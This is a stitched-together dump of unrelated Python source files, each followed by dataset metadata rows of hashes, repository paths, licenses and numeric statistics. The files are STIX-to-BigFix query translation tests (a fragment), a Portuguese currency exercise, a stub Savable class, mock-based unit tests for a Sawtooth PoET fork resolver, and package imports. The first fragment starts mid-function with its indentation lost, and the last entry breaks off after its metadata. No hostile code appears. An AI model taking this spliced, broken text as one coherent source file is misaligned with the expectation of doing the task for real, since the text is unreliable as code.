query = translation.translate('bigfix', 'query', '{}', stix_pattern)
# queries = '( "process", name of it | "n/a", process id of it as string | "n/a", "sha256", sha256 of image file of it | "n/a", "sha1", sha1 of image file of it | "n/a", "md5", md5 of image file of it | "n/a", pathname of image file of it | "n/a", (start time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of processes whose (name of it as lowercase = "node" as lowercase AND sha256 of image file of it as lowercase = "0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5" as lowercase )'
queries = '<BESAPI xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BESAPI.xsd"><ClientQuery><ApplicabilityRelevance>true</ApplicabilityRelevance><QueryText>( "process", name of it | "n/a", process id of it as string | "n/a", "sha256", sha256 of image file of it | "n/a", "sha1", sha1 of image file of it | "n/a", "md5", md5 of image file of it | "n/a", pathname of image file of it | "n/a", (start time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of processes whose (name of it as lowercase = "node" as lowercase AND sha256 of image file of it as lowercase = "0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5" as lowercase )</QueryText><Target><CustomRelevance>true</CustomRelevance></Target></ClientQuery></BESAPI>'
parsed_stix = [{'attribute': 'file:hashes.SHA-256', 'comparison_operator': '=', 'value': '0c0017201b82e1d8613513dc80d1bf46320a957c393b6ca4fb7fa5c3b682c7e5'}, {'attribute': 'process:name', 'comparison_operator': '=', 'value': 'node'}]
print(query)
assert query == {'queries': queries, 'parsed_stix': parsed_stix}
def test_file_query(self):
stix_pattern = "[file:name = 'a' AND file:parent_directory_ref.path = '/root' OR file:hashes.'SHA-256' = '2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d']"
query = translation.translate('bigfix', 'query', '{}', stix_pattern)
# queries = '("file", name of it | "n/a", "sha256", sha256 of it | "n/a", "sha1", sha1 of it | "n/a", "md5", md5 of it | "n/a", pathname of it | "n/a", (modification time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of files whose (name of it as lowercase = "a" as lowercase OR sha256 of it as lowercase = "2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d" as lowercase) of folder ("/root")'
queries = '<BESAPI xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BESAPI.xsd"><ClientQuery><ApplicabilityRelevance>true</ApplicabilityRelevance><QueryText>("file", name of it | "n/a", "sha256", sha256 of it | "n/a", "sha1", sha1 of it | "n/a", "md5", md5 of it | "n/a", pathname of it | "n/a", (modification time of it - "01 Jan 1970 00:00:00 +0000" as time)/second ) of files whose (name of it as lowercase = "a" as lowercase OR sha256 of it as lowercase = "2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d" as lowercase) of folder ("/root")</QueryText><Target><CustomRelevance>true</CustomRelevance></Target></ClientQuery></BESAPI>'
parsed_stix = [{'attribute': 'file:hashes.SHA-256', 'comparison_operator': '=', 'value': '2584c4ba8b0d2a52d94023f420b7e356a1b1a3f2291ad5eba06683d58c48570d'}, {'attribute': 'file:parent_directory_ref.path', 'comparison_operator': '=', 'value': '/root'}, {'attribute': 'file:name', 'comparison_operator': '=', 'value': 'a'}]
print(query)
assert query == {'queries': queries, 'parsed_stix': parsed_stix}
| 127.096774
| 788
| 0.706599
| 500
| 3,940
| 5.514
| 0.172
| 0.049329
| 0.036271
| 0.043526
| 0.758796
| 0.739935
| 0.739935
| 0.739935
| 0.700762
| 0.700762
| 0
| 0.140736
| 0.145178
| 3,940
| 31
| 789
| 127.096774
| 0.67785
| 0.234264
| 0
| 0.333333
| 0
| 0.222222
| 0.722056
| 0.310779
| 0
| 0
| 0
| 0
| 0.111111
| 1
| 0.111111
| false
| 0
| 0.111111
| 0
| 0.277778
| 0.111111
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b47e78f35135e2e4d44131befaed6d8df61f1ed2
| 448
|
py
|
Python
|
exercises_gustguan/ex109_prog.py
|
Ewerton12F/Python-Notebook
|
85c4d38c35c6063fb475c25ebf4645688ec9dbcb
|
[
"MIT"
] | null | null | null |
exercises_gustguan/ex109_prog.py
|
Ewerton12F/Python-Notebook
|
85c4d38c35c6063fb475c25ebf4645688ec9dbcb
|
[
"MIT"
] | null | null | null |
exercises_gustguan/ex109_prog.py
|
Ewerton12F/Python-Notebook
|
85c4d38c35c6063fb475c25ebf4645688ec9dbcb
|
[
"MIT"
] | null | null | null |
import ex109_func
p = float(input('Digite um valor: R$'))
t = float(input('Digite a taxa: %'))
print(f'O valor R${ex109_func.moeda(p)} aumentado em {t}% é R${ex109_func.aumentar(p, t, True)}')
print(f'O valor R${ex109_func.moeda(p)} diminuído em {t}% é R${ex109_func.diminuir(p, t, True)}')
print(f'O dobro de R${ex109_func.moeda(p)} é R${ex109_func.dobro(p, True)}')
print(f'A metade de R${ex109_func.moeda(p)} é R${ex109_func.metade(p,True)}')
| 44.8
| 97
| 0.680804
| 90
| 448
| 3.288889
| 0.3
| 0.273649
| 0.27027
| 0.202703
| 0.543919
| 0.543919
| 0.385135
| 0.385135
| 0.385135
| 0.195946
| 0
| 0.067669
| 0.109375
| 448
| 9
| 98
| 49.777778
| 0.674185
| 0
| 0
| 0
| 0
| 0.571429
| 0.763393
| 0.430804
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.142857
| 0
| 0.142857
| 0.571429
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
b48d9aa974d3995ef715d92eb70a7ecf9784db7e
| 172
|
py
|
Python
|
common/savable.py
|
anjmittu/tranX
|
51090e38372036eaa109eec74c507cdb61adcf01
|
[
"Apache-2.0"
] | 421
|
2018-08-27T14:00:05.000Z
|
2022-03-21T18:15:21.000Z
|
common/savable.py
|
anjmittu/tranX
|
51090e38372036eaa109eec74c507cdb61adcf01
|
[
"Apache-2.0"
] | 34
|
2018-11-11T22:08:14.000Z
|
2021-12-21T02:04:06.000Z
|
common/savable.py
|
anjmittu/tranX
|
51090e38372036eaa109eec74c507cdb61adcf01
|
[
"Apache-2.0"
] | 106
|
2018-10-05T03:56:23.000Z
|
2022-03-18T18:32:52.000Z
|
class Savable(object):
@staticmethod
def load(model_path, *args, **kwargs):
pass
@staticmethod
def save(model_path, *args, **kwargs):
pass
| 19.111111
| 42
| 0.604651
| 19
| 172
| 5.368421
| 0.631579
| 0.294118
| 0.254902
| 0.372549
| 0.45098
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.273256
| 172
| 8
| 43
| 21.5
| 0.816
| 0
| 0
| 0.571429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.285714
| false
| 0.285714
| 0
| 0
| 0.428571
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
c30652a12cb8d954555623fc920a165c473b9de2
| 28,467
|
py
|
Python
|
consensus/poet/core/tests/test_consensus/test_poet_fork_resolver.py
|
mealchain/beta
|
7dc1a1aea175bfb3f1008939f098a1d58bb455a6
|
[
"Apache-2.0"
] | 1
|
2017-08-04T10:31:00.000Z
|
2017-08-04T10:31:00.000Z
|
consensus/poet/core/tests/test_consensus/test_poet_fork_resolver.py
|
mealchain/beta
|
7dc1a1aea175bfb3f1008939f098a1d58bb455a6
|
[
"Apache-2.0"
] | null | null | null |
consensus/poet/core/tests/test_consensus/test_poet_fork_resolver.py
|
mealchain/beta
|
7dc1a1aea175bfb3f1008939f098a1d58bb455a6
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2017 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ------------------------------------------------------------------------------
import shutil
import tempfile
from importlib import reload
from unittest import TestCase
from unittest import mock
from sawtooth_poet.poet_consensus import poet_fork_resolver
from sawtooth_poet_common.protobuf.validator_registry_pb2 \
import ValidatorInfo
from sawtooth_poet_common.protobuf.validator_registry_pb2 \
import SignUpInfo
# @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.BlockWrapper')
# @mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
# 'PoetSettingsView')
class TestPoetForkResolver(TestCase):
def setUp(self):
# pylint: disable=invalid-name,global-statement
global poet_fork_resolver
# PoetBLockResolver uses class variables to hold state
# so the module needs to be reloaded after each test to clear state
poet_fork_resolver = reload(poet_fork_resolver)
self._temp_dir = tempfile.mkdtemp()
def tearDown(self):
shutil.rmtree(self._temp_dir)
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusStateStore')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusState')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ValidatorRegistryView')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils')
def test_new_fork_head_not_poet_block(
self,
mock_utils,
mock_validator_registry_view,
mock_consensus_state,
mock_poet_enclave_factory,
mock_consensus_state_store):
""" Test verifies that if the new fork head is not a valid block,
raises appropriate exception
"""
# create a mock_validator_registry_view
mock_validator_registry_view.return_value.get_validator_info. \
return_value = \
ValidatorInfo(
name='validator_001',
id='validator_deadbeef',
signup_info=SignUpInfo(
poet_public_key='00112233445566778899aabbccddeeff'))
# Make utils pretend it cannot deserialize the wait certificate
# of the new fork head
mock_utils.deserialize_wait_certificate.return_value = None
mock_block_cache = mock.MagicMock()
mock_state_view_factory = mock.Mock()
# create mock_cur_fork_head
mock_cur_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543210',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='2',
header_signature='00112233445566778899aabbccddeeff')
# create mock_new_fork_head
mock_new_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543211',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='2',
header_signature='00112233445566778899aabbccddeeff')
# check test
fork_resolver = \
poet_fork_resolver.PoetForkResolver(
block_cache=mock_block_cache,
state_view_factory=mock_state_view_factory,
data_dir=self._temp_dir,
config_dir=self._temp_dir,
validator_id='validator_deadbeef')
with self.assertRaises(TypeError) as cm:
fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header)
self.assertEqual(
'New fork head {} is not a PoET block',
str(cm.exception))
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusStateStore')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusState')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ValidatorRegistryView')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils')
def test_cur_fork_head_not_poet_block(
self,
mock_utils,
mock_validator_registry_view,
mock_consensus_state,
mock_poet_enclave_factory,
mock_consensus_state_store):
""" Test verifies that if the current fork head is not a valid block,
and if new_fork_head.previous_block_id == cur_fork_head.identifier
then the new fork head switches consensus. Otherwise, raises the
appropriate exception - trying to compare a PoET block to a
non-PoET block that is not the direct predecessor
"""
# create a mock_validator_registry_view
mock_validator_registry_view.return_value.get_validator_info. \
return_value = \
ValidatorInfo(
name='validator_001',
id='validator_deadbeef',
signup_info=SignUpInfo(
poet_public_key='00112233445566778899aabbccddeeff'))
# create a mock_wait_certificate that does nothing in check_valid
mock_wait_certificate = mock.Mock()
mock_wait_certificate.check_valid.return_value = None
# set mock_utils.deserialize_wait_certificate
# to return a specific value for each fork_head that is used in
# poet_fork_resolver.compare()
# with cur_fork_head being deserialized first
mock_utils.deserialize_wait_certificate.side_effect = \
[None,
mock_wait_certificate,
None,
mock_wait_certificate]
mock_block_cache = mock.MagicMock()
mock_state_view_factory = mock.Mock()
# create mock_cur_fork_head
mock_cur_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543210',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='2',
header_signature='00112233445566778899aabbccddeeff')
# create mock_new_fork_head
mock_new_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543211',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='2',
header_signature='00112233445566778899aabbccddeeff')
fork_resolver = \
poet_fork_resolver.PoetForkResolver(
block_cache=mock_block_cache,
state_view_factory=mock_state_view_factory,
data_dir=self._temp_dir,
config_dir=self._temp_dir,
validator_id='validator_deadbeef')
# Subtest 1: check that the test fails when the current
# fork head is not a valid PoET block
with self.assertRaises(TypeError) as cm:
fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header)
self.assertEqual(
'Trying to compare a PoET block to a non-PoET '
'block that is not the direct predecessor',
str(cm.exception))
# Subtest 2: check that if new_fork_head.previous_block_id
# == cur_fork_head.identifier
# then the new fork head switches consensus
# modify mock_cur_fork_header.identifier
mock_cur_fork_header.identifier = \
mock_new_fork_header.previous_block_id
# check test
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertTrue(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('New fork head switches consensus to PoET'
in message)
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusStateStore')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusState')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ValidatorRegistryView')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils')
def test_both_valid_poet_blocks(
self,
mock_utils,
mock_validator_registry_view,
mock_consensus_state,
mock_poet_enclave_factory,
mock_consensus_state_store):
""" If both current and new fork heads are valid PoET blocks,
the test checks if they share the same immediate previous block,
then the one with the smaller wait duration is chosen
"""
# create a mock_validator_registry_view
mock_validator_registry_view.return_value.get_validator_info. \
return_value = \
ValidatorInfo(
name='validator_001',
id='validator_deadbeef',
signup_info=SignUpInfo(
poet_public_key='00112233445566778899aabbccddeeff'))
# create a mock_wait_certificate that does nothing in check_valid
mock_wait_certificate = mock.Mock()
mock_wait_certificate.check_valid.return_value = None
# set new_mock_wait_certificate local_mean and duration
mock_wait_certificate.local_mean = 0.0
mock_wait_certificate.duration = 1.0
# create a new_fork_mock_wait_certificate with a higher duration time
new_fork_mock_wait_certificate = mock.Mock()
new_fork_mock_wait_certificate.check_valid.return_value = None
new_fork_mock_wait_certificate.local_mean = 0.0
new_fork_mock_wait_certificate.duration = 2.0
# set mock_utils.deserialize_wait_certificate
# to return a specific value for each fork_head that is used in
# poet_fork_resolver.compare()
# with cur_fork_head being deserialized first
mock_utils.deserialize_wait_certificate.side_effect = \
[mock_wait_certificate,
new_fork_mock_wait_certificate
]
mock_block_cache = mock.MagicMock()
mock_state_view_factory = mock.Mock()
# create mock_cur_fork_head
mock_cur_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543210',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='2',
header_signature='00112233445566778899aabbccddeeff')
# create mock_new_fork_head with same previous block id
mock_new_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543211',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='2',
header_signature='00112233445566778899aabbccddeeff')
fork_resolver = \
poet_fork_resolver.PoetForkResolver(
block_cache=mock_block_cache,
state_view_factory=mock_state_view_factory,
data_dir=self._temp_dir,
config_dir=self._temp_dir,
validator_id='validator_deadbeef')
# Subtest 1: when current fork head has the smaller wait duration
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertFalse(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('Current fork wait duration (%f) '
'less than new fork wait duration (%f)' in message)
# Subtest 2: when new fork head has the smaller wait duration
# change new_fork_mock_wait_certificate duration to a smaller value
new_fork_mock_wait_certificate.duration = 0.0
# set mock_utils.deserialize_wait_certificate
# to return a specific value for each fork_head
# with cur_fork_head being deserialized first
mock_utils.deserialize_wait_certificate.side_effect = \
[mock_wait_certificate,
new_fork_mock_wait_certificate]
# check test
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertTrue(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('New fork wait duration (%f) '
'less than current fork wait duration '
in message)
# Subtest 3: when new & current fork heads have
# the same wait duration
# change new_fork_mock_wait_certificate duration to a smaller value
new_fork_mock_wait_certificate.duration = 1.0
# set mock_utils.deserialize_wait_certificate
# to return a specific value for each fork_head
# with cur_fork_head being deserialized first
mock_utils.deserialize_wait_certificate.side_effect = \
[mock_wait_certificate,
new_fork_mock_wait_certificate]
# check test
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertTrue(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('New fork header signature (%s) '
'greater than current fork header signature (%s)'
in message)
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusStateStore')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.factory')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ConsensusState')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'ValidatorRegistryView')
@mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.utils')
def test_different_previous_block_id(
self,
mock_utils,
mock_validator_registry_view,
mock_consensus_state,
mock_poet_enclave_factory,
mock_consensus_state_store):
""" When both current and new fork heads are valid
PoET blocks with different previous block ids,
the test verifies that the one with
the higher aggregate local mean wins
"""
# create a mock_validator_registry_view
mock_validator_registry_view.return_value.get_validator_info. \
return_value = \
ValidatorInfo(
name='validator_001',
id='validator_deadbeef',
signup_info=SignUpInfo(
poet_public_key='00112233445566778899aabbccddeeff'))
# create a mock_wait_certificate that does nothing in check_valid
mock_wait_certificate = mock.Mock()
mock_wait_certificate.check_valid.return_value = None
# set new_mock_wait_certificate local_mean and duration
mock_wait_certificate.local_mean = 0.0
# set mock_utils.deserialize_wait_certificate
# to return a specific value for each fork_head
# with cur_fork_head being deserialized first
mock_utils.deserialize_wait_certificate.side_effect = \
[mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate,
mock_wait_certificate
]
mock_block_cache = mock.MagicMock()
mock_state_view_factory = mock.Mock()
# create mock_cur_fork_head
mock_cur_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543210',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='2',
header_signature='00112233445566778899aabbccddeeff')
# create mock_new_fork_head
mock_new_fork_header = \
mock.Mock(
identifier='0123456789abcdefedcba9876543211',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='3',
header_signature='00112233445566778899aabbccddeeff')
fork_resolver = \
poet_fork_resolver.PoetForkResolver(
block_cache=mock_block_cache,
state_view_factory=mock_state_view_factory,
data_dir=self._temp_dir,
config_dir=self._temp_dir,
validator_id='validator_deadbeef')
# Subtest 1: when the current fork head has
# the higher aggregate local mean
# create a mock_cur_fork_consensus_state
mock_cur_fork_consensus_state = mock.Mock()
mock_cur_fork_consensus_state.aggregate_local_mean = 1.0
# create a mock_new_fork_consensus_state
mock_new_fork_consensus_state = mock.Mock()
mock_new_fork_consensus_state.aggregate_local_mean = 0.0
# set mock_consensus_state.consensus_state_for_block_id return
# the current & new fork consensus states
mock_consensus_state.consensus_state_for_block_id.side_effect = \
[mock_cur_fork_consensus_state,
mock_new_fork_consensus_state]
# check test
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertFalse(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('Current fork aggregate local mean (%f) '
'greater than new fork aggregate local mean'
in message)
# Subtest 2: when the new fork head has
# the higher aggregate local mean
# set mock_consensus_state.consensus_state_for_block_id return
# the current & new fork consensus states
mock_consensus_state.consensus_state_for_block_id.side_effect = \
[mock_cur_fork_consensus_state,
mock_new_fork_consensus_state,
mock_new_fork_consensus_state]
# change the aggregate_local_mean values
mock_cur_fork_consensus_state.aggregate_local_mean = 0.0
mock_new_fork_consensus_state.aggregate_local_mean = 1.0
# check test
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertTrue(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('New fork aggregate local mean (%f) '
'greater than current fork aggregate local mean '
in message)
# Subtest 3: when both the new & current fork heads have
# the same aggregate local mean
# set mock_consensus_state.consensus_state_for_block_id return
# the current & new fork consensus states
mock_consensus_state.consensus_state_for_block_id.side_effect = \
[mock_cur_fork_consensus_state,
mock_new_fork_consensus_state,
mock_new_fork_consensus_state]
# set the aggregate_local_mean values equal
mock_cur_fork_consensus_state.aggregate_local_mean = 1.0
mock_new_fork_consensus_state.aggregate_local_mean = 1.0
# check test
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertTrue(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('New fork header signature (%s) '
'greater than current fork header signature (%s)'
in message)
# Subset 4: If we have gotten to this point and we have not chosen
# a fork head yet, we are going to fall back
# on using the block identifiers (header signatures).
# The lexicographically larger one will be the chosen one.
# create mock_new_fork_head with a smaller header_signature
mock_smaller_header_signature = \
mock.Mock(
identifier='0123456789abcdefedcba9876543211',
signer_pubkey='90834587139405781349807435098745',
previous_block_id='4',
header_signature='00112233445566778899aabbccddee')
# create a mock_smaller_header_signature_consensus_state
mock_smaller_header_signature_consensus_state = mock.Mock()
mock_smaller_header_signature_consensus_state.\
aggregate_local_mean = 0.0
mock_cur_fork_consensus_state.aggregate_local_mean = 0.0
mock_consensus_state.consensus_state_for_block_id.side_effect = \
[mock_cur_fork_consensus_state,
mock_smaller_header_signature_consensus_state]
# check test when Current fork header signature is greater than
# the new fork header signature
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertFalse(fork_resolver.compare_forks(
cur_fork_head=mock_cur_fork_header,
new_fork_head=mock_smaller_header_signature))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('Current fork header signature'
'(%s) greater than new fork header signature (%s)'
in message)
# Subtest 5: Check when new header signature is greater than
# the current fork header signature
mock_consensus_state.consensus_state_for_block_id.side_effect = \
[mock_smaller_header_signature_consensus_state,
mock_new_fork_consensus_state,
mock_new_fork_consensus_state]
mock_smaller_header_signature_consensus_state.\
aggregate_local_mean = 0.0
mock_new_fork_consensus_state.aggregate_local_mean = 0.0
# check test
with mock.patch('sawtooth_poet.poet_consensus.poet_fork_resolver.'
'LOGGER') as mock_logger:
self.assertTrue(fork_resolver.compare_forks(
cur_fork_head=mock_smaller_header_signature,
new_fork_head=mock_new_fork_header))
# Could be a hack, but verify that the appropriate log message is
# generated - so we at least have some faith that the failure was
# because of what we are testing and not something else. I know
# that this is fragile if the log message is changed, so would
# accept any suggestions on a better way to verify that the
# function fails for the reason we expect.
(message, *_), _ = mock_logger.info.call_args
self.assertTrue('New fork header signature (%s) '
'greater than current fork header signature (%s)'
in message)
| 44.272162
| 80
| 0.647451
| 3,314
| 28,467
| 5.247133
| 0.085697
| 0.032607
| 0.037725
| 0.046006
| 0.887573
| 0.870895
| 0.843637
| 0.822877
| 0.810742
| 0.796481
| 0
| 0.04005
| 0.295676
| 28,467
| 642
| 81
| 44.341122
| 0.827232
| 0.293182
| 0
| 0.833787
| 0
| 0
| 0.185251
| 0.126617
| 0
| 0
| 0
| 0
| 0.059946
| 1
| 0.016349
| false
| 0
| 0.021798
| 0
| 0.040872
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6f295905e6d94eaa88d9e05897b2cd61e88454a2
| 168
|
py
|
Python
|
myelin/dp/__init__.py
|
davidrobles/myelin
|
af76d4ec41f9b4f9be42fc12094aab6f879db770
|
[
"MIT"
] | null | null | null |
myelin/dp/__init__.py
|
davidrobles/myelin
|
af76d4ec41f9b4f9be42fc12094aab6f879db770
|
[
"MIT"
] | 9
|
2020-03-24T15:46:12.000Z
|
2021-09-11T16:23:59.000Z
|
myelin/dp/__init__.py
|
davidrobles/myelin
|
af76d4ec41f9b4f9be42fc12094aab6f879db770
|
[
"MIT"
] | null | null | null |
from myelin.dp.value_iteration import ValueIteration
from myelin.dp.policy_iteration import PolicyIteration
from myelin.dp.value_iteration import ValueIterationCallback
| 56
| 60
| 0.89881
| 21
| 168
| 7.047619
| 0.47619
| 0.202703
| 0.243243
| 0.22973
| 0.432432
| 0.432432
| 0
| 0
| 0
| 0
| 0
| 0
| 0.065476
| 168
| 3
| 60
| 56
| 0.942675
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
6f3c607033fd16ae9e4b8e892d54238cd291d030
| 134
|
py
|
Python
|
colosseum/mdps/deep_sea/__init__.py
|
MichelangeloConserva/Colosseum
|
b0711fd9ce75520deb74cda75c148984a8e4152f
|
[
"MIT"
] | null | null | null |
colosseum/mdps/deep_sea/__init__.py
|
MichelangeloConserva/Colosseum
|
b0711fd9ce75520deb74cda75c148984a8e4152f
|
[
"MIT"
] | null | null | null |
colosseum/mdps/deep_sea/__init__.py
|
MichelangeloConserva/Colosseum
|
